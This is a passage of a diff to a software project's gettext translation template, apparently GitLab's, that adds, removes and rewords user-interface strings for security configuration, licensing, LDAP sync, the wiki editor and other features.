+msgid "Save space and find images in the container Registry. remove unneeded tags and keep only the ones you want. %{linkStart}How does cleanup work?%{linkEnd}"
msgstr ""
msgid "Saving"
@@ -28612,6 +28351,9 @@ msgstr ""
msgid "Scheduled a rebase of branch %{branch}."
msgstr ""
+msgid "Scheduled pipelines cannot run more frequently than once per %{limit} minutes. A pipeline configured to run more frequently only starts after %{limit} minutes have elapsed since the last time it ran."
+msgstr ""
+
msgid "Scheduled to merge this merge request (%{strategy})."
msgstr ""
@@ -28663,6 +28405,9 @@ msgstr ""
msgid "Search"
msgstr ""
+msgid "Search GitLab"
+msgstr ""
+
msgid "Search Jira issues"
msgstr ""
@@ -28747,9 +28492,6 @@ msgstr ""
msgid "Search or filter results…"
msgstr ""
-msgid "Search or jump to…"
-msgstr ""
-
msgid "Search project"
msgstr ""
@@ -28880,12 +28622,6 @@ msgstr[1] ""
msgid "Searching by both author and message is currently not supported."
msgstr ""
-msgid "Seat Link"
-msgstr ""
-
-msgid "Seat Link is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "SeatUsage|Seat usage"
msgstr ""
@@ -28952,6 +28688,9 @@ msgstr ""
msgid "SecurityConfiguration|%{featureName} merge request creation mutation failed"
msgstr ""
+msgid "SecurityConfiguration|%{scanType} configuration code snippet"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
@@ -28973,6 +28712,9 @@ msgstr ""
msgid "SecurityConfiguration|Configuration guide"
msgstr ""
+msgid "SecurityConfiguration|Configuration history"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
@@ -28982,6 +28724,12 @@ msgstr ""
msgid "SecurityConfiguration|Configure via Merge Request"
msgstr ""
+msgid "SecurityConfiguration|Copy code and open .gitlab-ci.yml file"
+msgstr ""
+
+msgid "SecurityConfiguration|Copy code only"
+msgstr ""
+
msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
msgstr ""
@@ -29006,9 +28754,18 @@ msgstr ""
msgid "SecurityConfiguration|Feature documentation for %{featureName}"
msgstr ""
+msgid "SecurityConfiguration|GitLab Ultimate checks your application for security vulnerabilities that may lead to unauthorized access, data leaks, and denial of service attacks. Its features include:"
+msgstr ""
+
+msgid "SecurityConfiguration|High-level vulnerability statistics across projects and groups."
+msgstr ""
+
msgid "SecurityConfiguration|Manage"
msgstr ""
+msgid "SecurityConfiguration|Manage profiles for use by DAST scans."
+msgstr ""
+
msgid "SecurityConfiguration|Manage scans"
msgstr ""
@@ -29018,12 +28775,21 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgstr ""
+
+msgid "SecurityConfiguration|Runtime security metrics for application environments."
+msgstr ""
+
msgid "SecurityConfiguration|SAST Analyzers"
msgstr ""
msgid "SecurityConfiguration|SAST Configuration"
msgstr ""
+msgid "SecurityConfiguration|Secure your project with Ultimate"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -29036,7 +28802,10 @@ msgstr ""
msgid "SecurityConfiguration|Testing & Compliance"
msgstr ""
-msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
+msgid "SecurityConfiguration|The status of the tools only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Upgrade or start a free trial"
msgstr ""
msgid "SecurityConfiguration|Using custom settings. You won't receive automatic updates on this variable. %{anchorStart}Restore to default%{anchorEnd}"
@@ -29045,6 +28814,12 @@ msgstr ""
msgid "SecurityConfiguration|View history"
msgstr ""
+msgid "SecurityConfiguration|Vulnerability details and statistics in the merge request."
+msgstr ""
+
+msgid "SecurityConfiguration|With the information provided, you can immediately begin risk analysis and remediation within GitLab."
+msgstr ""
+
msgid "SecurityConfiguration|You can quickly enable all security scanning tools by enabling %{linkStart}Auto DevOps%{linkEnd}."
msgstr ""
@@ -29057,6 +28832,27 @@ msgstr ""
msgid "SecurityOrchestration|Security policy project"
msgstr ""
+msgid "SecurityPolicies|Description"
+msgstr ""
+
+msgid "SecurityPolicies|Enforcement status"
+msgstr ""
+
+msgid "SecurityPolicies|Latest scan"
+msgstr ""
+
+msgid "SecurityPolicies|Network"
+msgstr ""
+
+msgid "SecurityPolicies|Policy type"
+msgstr ""
+
+msgid "SecurityPolicies|Scan execution"
+msgstr ""
+
+msgid "SecurityPolicies|view results"
+msgstr ""
+
msgid "SecurityReports|%{firstProject} and %{secondProject}"
msgstr ""
@@ -29069,7 +28865,7 @@ msgstr ""
msgid "SecurityReports|Add projects"
msgstr ""
-msgid "SecurityReports|All"
+msgid "SecurityReports|All activity"
msgstr ""
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
@@ -29132,6 +28928,9 @@ msgstr ""
msgid "SecurityReports|Error fetching the vulnerability list. Please check your network connection and try again."
msgstr ""
+msgid "SecurityReports|Error parsing security reports"
+msgstr ""
+
msgid "SecurityReports|Failed to get security report information. Please reload the page or try again later."
msgstr ""
@@ -29237,6 +29036,9 @@ msgstr ""
msgid "SecurityReports|Take survey"
msgstr ""
+msgid "SecurityReports|The security reports below contain one or more vulnerability findings that could not be parsed and were not recorded. Download the artifacts in the job output to investigate. Ensure any security report created conforms to the relevant %{helpPageLinkStart}JSON schema%{helpPageLinkEnd}."
+msgstr ""
+
msgid "SecurityReports|There was an error adding the comment."
msgstr ""
@@ -29339,9 +29141,6 @@ msgstr ""
msgid "Select Page"
msgstr ""
-msgid "Select Stack"
-msgstr ""
-
msgid "Select a branch"
msgstr ""
@@ -29372,9 +29171,15 @@ msgstr ""
msgid "Select a repository"
msgstr ""
+msgid "Select a role"
+msgstr ""
+
msgid "Select a shared template repository for all projects on this instance."
msgstr ""
+msgid "Select a subgroup to use as a template when creating new projects in the group."
+msgstr ""
+
msgid "Select a template repository"
msgstr ""
@@ -29477,9 +29282,6 @@ msgstr ""
msgid "Select target branch"
msgstr ""
-msgid "Select the custom project template source group."
-msgstr ""
-
msgid "Select timezone"
msgstr ""
@@ -29573,7 +29375,7 @@ msgstr ""
msgid "Send report"
msgstr ""
-msgid "Send usage data"
+msgid "Send service data"
msgstr ""
msgid "Sentry API URL"
@@ -29612,10 +29414,10 @@ msgstr ""
msgid "Serverless platform"
msgstr ""
-msgid "ServerlessDetails|Function invocation metrics require Prometheus to be installed first."
+msgid "ServerlessDetails|Configure cluster."
msgstr ""
-msgid "ServerlessDetails|Install Prometheus"
+msgid "ServerlessDetails|Function invocation metrics require the Prometheus cluster integration."
msgstr ""
msgid "ServerlessDetails|Invocation metrics loading or not available at this time."
@@ -29657,9 +29459,6 @@ msgstr ""
msgid "Serverless|In order to start using functions as a service, you must first install Knative on your Kubernetes cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "Serverless|Install Knative"
-msgstr ""
-
msgid "Serverless|Learn more about Serverless"
msgstr ""
@@ -29702,6 +29501,9 @@ msgstr ""
msgid "Service URL"
msgstr ""
+msgid "Service ping is disabled, and cannot be configured through this form."
+msgstr ""
+
msgid "ServiceDesk|Enable Service Desk"
msgstr ""
@@ -29792,6 +29594,9 @@ msgstr ""
msgid "Set requirements for a user to sign-in. Enable mandatory two-factor authentication."
msgstr ""
+msgid "Set size limits for displaying diffs in the browser."
+msgstr ""
+
msgid "Set target branch"
msgstr ""
@@ -29972,9 +29777,6 @@ msgstr ""
msgid "SeverityWidget|There was an error while updating severity."
msgstr ""
-msgid "Shards (%{shards})"
-msgstr ""
-
msgid "Shards to synchronize"
msgstr ""
@@ -29999,6 +29801,9 @@ msgstr ""
msgid "Shared runners are disabled on group level"
msgstr ""
+msgid "Shared runners details"
+msgstr ""
+
msgid "Shared runners help link"
msgstr ""
@@ -30023,9 +29828,6 @@ msgstr ""
msgid "Show all issues."
msgstr ""
-msgid "Show all members"
-msgstr ""
-
msgid "Show all test cases."
msgstr ""
@@ -30053,9 +29855,6 @@ msgstr ""
msgid "Show complete raw log"
msgstr ""
-msgid "Show dependencies"
-msgstr ""
-
msgid "Show details"
msgstr ""
@@ -30089,12 +29888,6 @@ msgstr ""
msgid "Show one file at a time"
msgstr ""
-msgid "Show only direct members"
-msgstr ""
-
-msgid "Show only inherited members"
-msgstr ""
-
msgid "Show parent pages"
msgstr ""
@@ -30141,6 +29934,9 @@ msgstr ""
msgid "Showing all issues"
msgstr ""
+msgid "Showing data for workflow items created in this date range. Date range cannot exceed %{maxDateRange} days."
+msgstr ""
+
msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
@@ -30474,9 +30270,6 @@ msgstr ""
msgid "Something went wrong while deleting description changes. Please try again."
msgstr ""
-msgid "Something went wrong while deleting the package."
-msgstr ""
-
msgid "Something went wrong while deleting the source branch. Please try again."
msgstr ""
@@ -30579,6 +30372,9 @@ msgstr ""
msgid "Something went wrong while setting %{issuableType} notifications."
msgstr ""
+msgid "Something went wrong while setting %{issuableType} to-do item."
+msgstr ""
+
msgid "Something went wrong while stopping this environment. Please try again."
msgstr ""
@@ -30645,12 +30441,6 @@ msgstr ""
msgid "Sort direction: Descending"
msgstr ""
-msgid "SortOptions|Access level, ascending"
-msgstr ""
-
-msgid "SortOptions|Access level, descending"
-msgstr ""
-
msgid "SortOptions|Blocking"
msgstr ""
@@ -30684,9 +30474,6 @@ msgstr ""
msgid "SortOptions|Last created"
msgstr ""
-msgid "SortOptions|Last joined"
-msgstr ""
-
msgid "SortOptions|Last updated"
msgstr ""
@@ -30729,9 +30516,6 @@ msgstr ""
msgid "SortOptions|Oldest created"
msgstr ""
-msgid "SortOptions|Oldest joined"
-msgstr ""
-
msgid "SortOptions|Oldest last activity"
msgstr ""
@@ -30783,6 +30567,9 @@ msgstr ""
msgid "SortOptions|Start soon"
msgstr ""
+msgid "SortOptions|Title"
+msgstr ""
+
msgid "SortOptions|Type"
msgstr ""
@@ -30801,6 +30588,9 @@ msgstr ""
msgid "Source Branch"
msgstr ""
+msgid "Source Editor instance is required to set up an extension."
+msgstr ""
+
msgid "Source IP"
msgstr ""
@@ -30903,15 +30693,6 @@ msgstr ""
msgid "Stage"
msgstr ""
-msgid "StageName|Build"
-msgstr ""
-
-msgid "StageName|Deploy"
-msgstr ""
-
-msgid "StageName|Test"
-msgstr ""
-
msgid "Standard"
msgstr ""
@@ -31128,12 +30909,18 @@ msgstr ""
msgid "Status: %{title}"
msgstr ""
+msgid "StatusCheck|%{pending} pending"
+msgstr ""
+
msgid "StatusCheck|API to check"
msgstr ""
msgid "StatusCheck|Add status check"
msgstr ""
+msgid "StatusCheck|All passed"
+msgstr ""
+
msgid "StatusCheck|An error occurred deleting the %{name} status check."
msgstr ""
@@ -31152,7 +30939,7 @@ msgstr ""
msgid "StatusCheck|External API is already in use by another status check."
msgstr ""
-msgid "StatusCheck|Invoke an external API as part of the approvals"
+msgid "StatusCheck|Failed to load status checks."
msgstr ""
msgid "StatusCheck|Invoke an external API as part of the pipeline process."
@@ -31182,6 +30969,9 @@ msgstr ""
msgid "StatusCheck|Update status check"
msgstr ""
+msgid "StatusCheck|When this merge request is updated, a call is sent to the following APIs to confirm their status. %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
msgid "StatusCheck|You are about to remove the %{name} status check."
msgstr ""
@@ -31269,6 +31059,9 @@ msgstr ""
msgid "StorageSize|Unknown"
msgstr ""
+msgid "Strikethrough"
+msgstr ""
+
msgid "Subgroup information"
msgstr ""
@@ -31278,9 +31071,6 @@ msgstr ""
msgid "Subgroup navigation"
msgstr ""
-msgid "Subgroup overview"
-msgstr ""
-
msgid "SubgroupCreationLevel|Allowed to create subgroups"
msgstr ""
@@ -31635,6 +31425,9 @@ msgstr ""
msgid "SuperSonics|Activate"
msgstr ""
+msgid "SuperSonics|Activate cloud license"
+msgstr ""
+
msgid "SuperSonics|Activate subscription"
msgstr ""
@@ -31653,7 +31446,13 @@ msgstr ""
msgid "SuperSonics|Buy subscription"
msgstr ""
-msgid "SuperSonics|Enter activation code"
+msgid "SuperSonics|Cloud license"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing"
+msgstr ""
+
+msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr ""
msgid "SuperSonics|Expires on"
@@ -31725,9 +31524,6 @@ msgstr ""
msgid "SuperSonics|There is a connectivity issue."
msgstr ""
-msgid "SuperSonics|This field is required."
-msgstr ""
-
msgid "SuperSonics|This is the highest peak of users on your installation since the license started."
msgstr ""
@@ -31740,7 +31536,7 @@ msgstr ""
msgid "SuperSonics|Type"
msgstr ""
-msgid "SuperSonics|Upload a legacy license"
+msgid "SuperSonics|Upload a license file"
msgstr ""
msgid "SuperSonics|Users in subscription"
@@ -31788,7 +31584,7 @@ msgstr ""
msgid "Survey Response"
msgstr ""
-msgid "Switch Branch"
+msgid "Switch branch"
msgstr ""
msgid "Switch branch/tag"
@@ -31803,7 +31599,7 @@ msgstr ""
msgid "Symbolic link"
msgstr ""
-msgid "Sync information"
+msgid "Sync LDAP"
msgstr ""
msgid "Sync now"
@@ -31812,10 +31608,10 @@ msgstr ""
msgid "Synced"
msgstr ""
-msgid "Synchronization disabled"
+msgid "Synchronization settings"
msgstr ""
-msgid "Synchronization settings"
+msgid "Synchronize LDAP"
msgstr ""
msgid "Syncing…"
@@ -32007,6 +31803,9 @@ msgstr ""
msgid "Telephone number"
msgstr ""
+msgid "Tell us your experiences with the new Markdown editor %{linkStart}in this feedback issue%{linkEnd}."
+msgstr ""
+
msgid "Template"
msgstr ""
@@ -32362,7 +32161,7 @@ msgstr ""
msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
-msgid "The Compliance Dashboard gives you the ability to see a group's merge request activity by providing a high-level view for all projects in the group."
+msgid "The Compliance Report captures merged changes that violate compliance best practices."
msgstr ""
msgid "The GitLab subscription service (customers.gitlab.com) is currently experiencing an outage. You can monitor the status and get updates at %{linkStart}status.gitlab.com%{linkEnd}."
@@ -32371,6 +32170,9 @@ msgstr ""
msgid "The GitLab user to which the Jira user %{jiraDisplayName} will be mapped"
msgstr ""
+msgid "The ID of the application."
+msgstr ""
+
msgid "The Issue Tracker is the place to add things that need to be improved or solved in a project"
msgstr ""
@@ -32380,6 +32182,9 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
+msgid "The Snowplow cookie domain."
+msgstr ""
+
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -32413,9 +32218,6 @@ msgstr ""
msgid "The character highlighter helps you keep the subject line to %{titleLength} characters and wrap the body at %{bodyLength} so they are readable in git."
msgstr ""
-msgid "The coding stage shows the time from the first commit to creating the merge request. The data will automatically be added here once you create your first merge request."
-msgstr ""
-
msgid "The collection of events added to the data gathered for that stage."
msgstr ""
@@ -32449,7 +32251,7 @@ msgstr ""
msgid "The data source is connected, but there is no data to display. %{documentationLink}"
msgstr ""
-msgid "The default CI configuration path for new projects."
+msgid "The default CI/CD configuration file and path for new projects."
msgstr ""
msgid "The dependency list details information about the components used within your project."
@@ -32479,6 +32281,9 @@ msgstr ""
msgid "The errors we encountered were:"
msgstr ""
+msgid "The file containing the export is not available yet; it may still be transferring. Please try again later."
+msgstr ""
+
msgid "The file has been successfully created."
msgstr ""
@@ -32553,6 +32358,9 @@ msgstr ""
msgid "The group_project_ids parameter is only allowed for a group"
msgstr ""
+msgid "The hostname of your Snowplow collector."
+msgstr ""
+
msgid "The import will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -32574,15 +32382,15 @@ msgstr ""
msgid "The invitation was successfully resent."
msgstr ""
-msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
-msgstr ""
-
msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
msgstr ""
msgid "The latest artifacts created by jobs in the most recent successful pipeline will be stored."
msgstr ""
+msgid "The latest pipeline for this merge request did not complete successfully."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -32667,18 +32475,12 @@ msgstr ""
msgid "The password for your GitLab account on %{link_to_gitlab} has successfully been changed."
msgstr ""
-msgid "The phase of the development lifecycle."
-msgstr ""
-
msgid "The pipeline has been deleted"
msgstr ""
msgid "The pipelines schedule runs pipelines in the future, repeatedly, for specific branches or tags. Those scheduled pipelines will inherit limited project access based on their associated user."
msgstr ""
-msgid "The planning stage shows the time from the previous step to pushing your first commit. This time will be added automatically once you push your first commit."
-msgstr ""
-
msgid "The private key to use when a client certificate is provided. This value is encrypted at rest."
msgstr ""
@@ -32742,9 +32544,6 @@ msgstr ""
msgid "The repository must be accessible over %{code_open}http://%{code_close}, %{code_open}https://%{code_close}, %{code_open}ssh://%{code_close} or %{code_open}git://%{code_close}."
msgstr ""
-msgid "The review stage shows the time from creating the merge request to merging it. The data will automatically be added after you merge your first merge request."
-msgstr ""
-
msgid "The same shared runner executes code from multiple projects, unless you configure autoscaling with %{link} set to 1 (which it is on GitLab.com)."
msgstr ""
@@ -32763,10 +32562,10 @@ msgstr ""
msgid "The snippet is visible to any logged in user except external users."
msgstr ""
-msgid "The specified tab is invalid, please select another"
+msgid "The source branch will be deleted"
msgstr ""
-msgid "The staging stage shows the time between merging the MR and deploying code to the production environment. The data will be automatically added once you deploy to production for the first time."
+msgid "The specified tab is invalid, please select another"
msgstr ""
msgid "The start date must be ealier than the end date."
@@ -32781,9 +32580,6 @@ msgstr ""
msgid "The tag name can't be changed for an existing release."
msgstr ""
-msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
-msgstr ""
-
msgid "The time taken by each data entry gathered by that stage."
msgstr ""
@@ -32793,9 +32589,6 @@ msgstr ""
msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
-msgid "The usage ping is disabled, and cannot be configured through this form."
-msgstr ""
-
msgid "The user is being deleted."
msgstr ""
@@ -32814,9 +32607,6 @@ msgstr ""
msgid "The username for the Jenkins server."
msgstr ""
-msgid "The value lying at the midpoint of a series of observed values. E.g., between 3, 5, 9, the median is 5. Between 3, 5, 7, 8, the median is (5+7)/2 = 6."
-msgstr ""
-
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
@@ -32958,9 +32748,6 @@ msgstr ""
msgid "There was a problem communicating with your device."
msgstr ""
-msgid "There was a problem dismissing this notification."
-msgstr ""
-
msgid "There was a problem fetching branches."
msgstr ""
@@ -33081,6 +32868,9 @@ msgstr ""
msgid "There was an error loading merge request approval settings."
msgstr ""
+msgid "There was an error loading related feature flags"
+msgstr ""
+
msgid "There was an error loading users activity calendar."
msgstr ""
@@ -33156,6 +32946,9 @@ msgstr ""
msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
+msgid "There was an error while fetching value stream summary data."
+msgstr ""
+
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
msgstr ""
@@ -33189,7 +32982,7 @@ msgstr ""
msgid "Third Party Advisory Link"
msgstr ""
-msgid "Third party offers"
+msgid "Third-party offers"
msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
@@ -33285,6 +33078,9 @@ msgstr ""
msgid "This chart could not be displayed"
msgstr ""
+msgid "This code snippet contains everything reflected in the configuration form. Copy and paste it into %{linkStart}.gitlab-ci.yml%{linkEnd} file and save your changes. Future %{scanType} scans will use these settings."
+msgstr ""
+
msgid "This comment changed after you started editing it. Review the %{startTag}updated comment%{endTag} to ensure information is not lost."
msgstr ""
@@ -33324,9 +33120,6 @@ msgstr ""
msgid "This diff is collapsed."
msgstr ""
-msgid "This diff was suppressed by a .gitattributes entry."
-msgstr ""
-
msgid "This directory"
msgstr ""
@@ -33411,7 +33204,7 @@ msgstr ""
msgid "This is a merge train pipeline"
msgstr ""
-msgid "This is a private email address %{helpIcon} generated just for you. Anyone who gets ahold of it can create issues or merge requests as if they were you. You should %{resetLinkStart}reset it%{resetLinkEnd} if that ever happens."
+msgid "This is a private email address %{helpIcon} generated just for you. Anyone who has it can create issues or merge requests as if they were you. If that happens, %{resetLinkStart}reset this token%{resetLinkEnd}."
msgstr ""
msgid "This is a security log of important events involving your account."
@@ -34150,9 +33943,15 @@ msgstr ""
msgid "To connect an SVN repository, check out %{svn_link}."
msgstr ""
+msgid "To continue, you need to select the link in the confirmation email we sent to verify your email address. If you didn't get our email, select %{strongStart}Resend confirmation email.%{strongEnd}"
+msgstr ""
+
msgid "To define internal users, first enable new users set to external"
msgstr ""
+msgid "To enable Registration Features, make sure \"Enable service ping\" is checked."
+msgstr ""
+
msgid "To ensure no loss of personal content, this account should only be used for matters related to %{group_name}."
msgstr ""
@@ -34237,9 +34036,6 @@ msgstr ""
msgid "To set up this service:"
msgstr ""
-msgid "To simplify the billing process, GitLab will collect user counts in order to prorate charges for user growth throughout the year using a quarterly reconciliation process."
-msgstr ""
-
msgid "To specify the notification level per project of a group you belong to, you need to visit project page and change notification level there."
msgstr ""
@@ -34339,9 +34135,18 @@ msgstr ""
msgid "Token"
msgstr ""
+msgid "Token name"
+msgstr ""
+
msgid "Token valid until revoked"
msgstr ""
+msgid "Tokens|Scopes set the permission levels granted to the token."
+msgstr ""
+
+msgid "Tokens|Select scopes"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -34354,6 +34159,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "TopNav|Go back"
+msgstr ""
+
msgid "Topics (optional)"
msgstr ""
@@ -34402,6 +34210,15 @@ msgstr ""
msgid "Track groups of issues that share a theme, across projects and milestones"
msgstr ""
+msgid "Track important events in your GitLab instance."
+msgstr ""
+
+msgid "Track important events in your group."
+msgstr ""
+
+msgid "Track important events in your project."
+msgstr ""
+
msgid "Track time with quick actions"
msgstr ""
@@ -34881,12 +34698,6 @@ msgstr ""
msgid "Unhappy?"
msgstr ""
-msgid "Uninstall"
-msgstr ""
-
-msgid "Uninstalling"
-msgstr ""
-
msgid "Units|ms"
msgstr ""
@@ -34977,21 +34788,6 @@ msgstr ""
msgid "UnscannedProjects|60 or more days"
msgstr ""
-msgid "UnscannedProjects|Default branch scanning by project"
-msgstr ""
-
-msgid "UnscannedProjects|Out of date"
-msgstr ""
-
-msgid "UnscannedProjects|Project scanning"
-msgstr ""
-
-msgid "UnscannedProjects|Untested"
-msgstr ""
-
-msgid "UnscannedProjects|Your projects are up do date! Nice job!"
-msgstr ""
-
msgid "Unschedule job"
msgstr ""
@@ -35127,9 +34923,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated to %{linkStart}chart v%{linkEnd}"
-msgstr ""
-
msgid "Updates"
msgstr ""
@@ -35466,9 +35259,15 @@ msgstr ""
msgid "Use .gitlab-ci.yml"
msgstr ""
+msgid "Use GitLab Runner in AWS"
+msgstr ""
+
msgid "Use a one-time password authenticator on your mobile device or computer to enable two-factor authentication (2FA)."
msgstr ""
+msgid "Use an AWS CloudFormation Template (CFT) to install and configure GitLab Runner in AWS."
+msgstr ""
+
msgid "Use cURL"
msgstr ""
@@ -35598,6 +35397,9 @@ msgstr ""
msgid "User was successfully updated."
msgstr ""
+msgid "UserAvailability|%{author} %{spanStart}(Busy)%{spanEnd}"
+msgstr ""
+
msgid "UserAvailability|%{author} (Busy)"
msgstr ""
@@ -35895,9 +35697,6 @@ msgstr ""
msgid "Value"
msgstr ""
-msgid "Value Stream"
-msgstr ""
-
msgid "Value Stream Analytics"
msgstr ""
@@ -35907,9 +35706,15 @@ msgstr ""
msgid "Value Stream Analytics gives an overview of how much time it takes to go from idea to production in your project."
msgstr ""
+msgid "Value stream"
+msgstr ""
+
msgid "ValueStreamAnalyticsStage|We don't have enough data to show this stage."
msgstr ""
+msgid "ValueStreamAnalytics|%{stageCount}+ items"
+msgstr ""
+
msgid "ValueStreamAnalytics|%{value}M"
msgstr ""
@@ -35991,9 +35796,6 @@ msgstr ""
msgid "Verification concurrency limit"
msgstr ""
-msgid "Verification information"
-msgstr ""
-
msgid "Verification status"
msgstr ""
@@ -36079,6 +35881,9 @@ msgstr ""
msgid "View full log"
msgstr ""
+msgid "View group in admin area"
+msgstr ""
+
msgid "View group labels"
msgstr ""
@@ -36097,9 +35902,6 @@ msgstr ""
msgid "View job"
msgstr ""
-msgid "View job dependencies in the pipeline graph!"
-msgstr ""
-
msgid "View job log"
msgstr ""
@@ -36133,6 +35935,9 @@ msgstr ""
msgid "View project"
msgstr ""
+msgid "View project in admin area"
+msgstr ""
+
msgid "View project labels"
msgstr ""
@@ -36202,7 +36007,10 @@ msgstr ""
msgid "Visit settings page"
msgstr ""
-msgid "Visual Studio Code"
+msgid "Visual Studio Code (HTTPS)"
+msgstr ""
+
+msgid "Visual Studio Code (SSH)"
msgstr ""
msgid "VisualReviewApp|%{stepStart}Step 1%{stepEnd}. Copy the following script:"
@@ -36343,7 +36151,7 @@ msgstr ""
msgid "VulnerabilityManagement|invalid issue link or ID"
msgstr ""
-msgid "VulnerabilityStatusTypes|All"
+msgid "VulnerabilityStatusTypes|All statuses"
msgstr ""
msgid "VulnerabilityStatusTypes|Confirmed"
@@ -36475,6 +36283,9 @@ msgstr ""
msgid "Warning: Displaying this diagram might cause performance issues on this page."
msgstr ""
+msgid "Warning: Synchronizing LDAP removes direct members' access."
+msgstr ""
+
msgid "We are currently unable to fetch data for the pipeline header."
msgstr ""
@@ -36775,6 +36586,15 @@ msgstr ""
msgid "Welcome, %{name}!"
msgstr ""
+msgid "What are group audit events?"
+msgstr ""
+
+msgid "What are instance audit events?"
+msgstr ""
+
+msgid "What are project audit events?"
+msgstr ""
+
msgid "What are you searching for?"
msgstr ""
@@ -36784,6 +36604,9 @@ msgstr ""
msgid "What does this command do?"
msgstr ""
+msgid "What is Auto DevOps?"
+msgstr ""
+
msgid "What is repository mirroring?"
msgstr ""
@@ -36984,7 +36807,7 @@ msgstr ""
msgid "WikiPage|An error occured while trying to render the content editor. Please try again later."
msgstr ""
-msgid "WikiPage|Are you sure you want to switch to the old editor?"
+msgid "WikiPage|Are you sure you want to switch back to the classic editor?"
msgstr ""
msgid "WikiPage|Cancel"
@@ -37005,6 +36828,9 @@ msgstr ""
msgid "WikiPage|Format"
msgstr ""
+msgid "WikiPage|Get a richer editing experience"
+msgstr ""
+
msgid "WikiPage|Keep editing"
msgstr ""
@@ -37020,16 +36846,16 @@ msgstr ""
msgid "WikiPage|Save changes"
msgstr ""
-msgid "WikiPage|Switch to old editor"
+msgid "WikiPage|Switch me back to the classic editor."
msgstr ""
-msgid "WikiPage|Switching to the old editor will discard any changes you've made in the new editor."
+msgid "WikiPage|Switch to classic editor"
msgstr ""
-msgid "WikiPage|Switching will discard any changes you've made in the new editor."
+msgid "WikiPage|Switching to the classic editor will discard any changes you've made in the new editor."
msgstr ""
-msgid "WikiPage|This editor is in beta and may not display the page's contents properly."
+msgid "WikiPage|This editor is in beta and may not display the page's contents properly. Switching back to the classic editor will discard changes you've made in the new editor."
msgstr ""
msgid "WikiPage|Tip: You can move this page by adding the path to the beginning of the title."
@@ -37044,10 +36870,16 @@ msgstr ""
msgid "WikiPage|To link to a (new) page, simply type %{linkExample}. More examples are in the %{linkStart}documentation%{linkEnd}."
msgstr ""
+msgid "WikiPage|Try the new visual Markdown editor. Read the %{linkStart}documentation%{linkEnd} to learn what's currently supported."
+msgstr ""
+
+msgid "WikiPage|Try this later"
+msgstr ""
+
msgid "WikiPage|Update %{pageTitle}"
msgstr ""
-msgid "WikiPage|Use new editor"
+msgid "WikiPage|Use the new editor"
msgstr ""
msgid "WikiPage|Write your content or drag files here…"
@@ -37317,6 +37149,9 @@ msgstr ""
msgid "You can easily contribute to them by requesting to join these groups."
msgstr ""
+msgid "You can enable Registration Features because Service Ping is enabled. To continue using Registration Features in future, you will also need to register with GitLab via a new cloud licensing service."
+msgstr ""
+
msgid "You can enable project access token creation in %{link_start}group settings%{link_end}."
msgstr ""
@@ -37356,9 +37191,6 @@ msgstr ""
msgid "You can now export your security dashboard to a CSV report."
msgstr ""
-msgid "You can now group jobs in the pipeline graph based on which jobs are configured to run first, if you use the %{codeStart}needs:%{codeEnd} keyword to establish job dependencies in your CI/CD pipelines. %{linkStart}Learn how to speed up your pipeline with needs.%{linkEnd}"
-msgstr ""
-
msgid "You can now submit a merge request to get this change into the original branch."
msgstr ""
@@ -37536,21 +37368,18 @@ msgstr ""
msgid "You have imported from this project %{numberOfPreviousImports} times before. Each new import will create duplicate issues."
msgstr ""
-msgid "You have insufficient permissions to create a Todo for this alert"
+msgid "You have insufficient permissions to configure escalation policies for this project"
msgstr ""
-msgid "You have insufficient permissions to create an HTTP integration for this project"
+msgid "You have insufficient permissions to create a Todo for this alert"
msgstr ""
-msgid "You have insufficient permissions to create an escalation policy for this project"
+msgid "You have insufficient permissions to create an HTTP integration for this project"
msgstr ""
msgid "You have insufficient permissions to create an on-call schedule for this project"
msgstr ""
-msgid "You have insufficient permissions to remove an escalation policy from this project"
-msgstr ""
-
msgid "You have insufficient permissions to remove an on-call rotation from this project"
msgstr ""
@@ -37614,9 +37443,6 @@ msgstr ""
msgid "You must provide your current password in order to change it."
msgstr ""
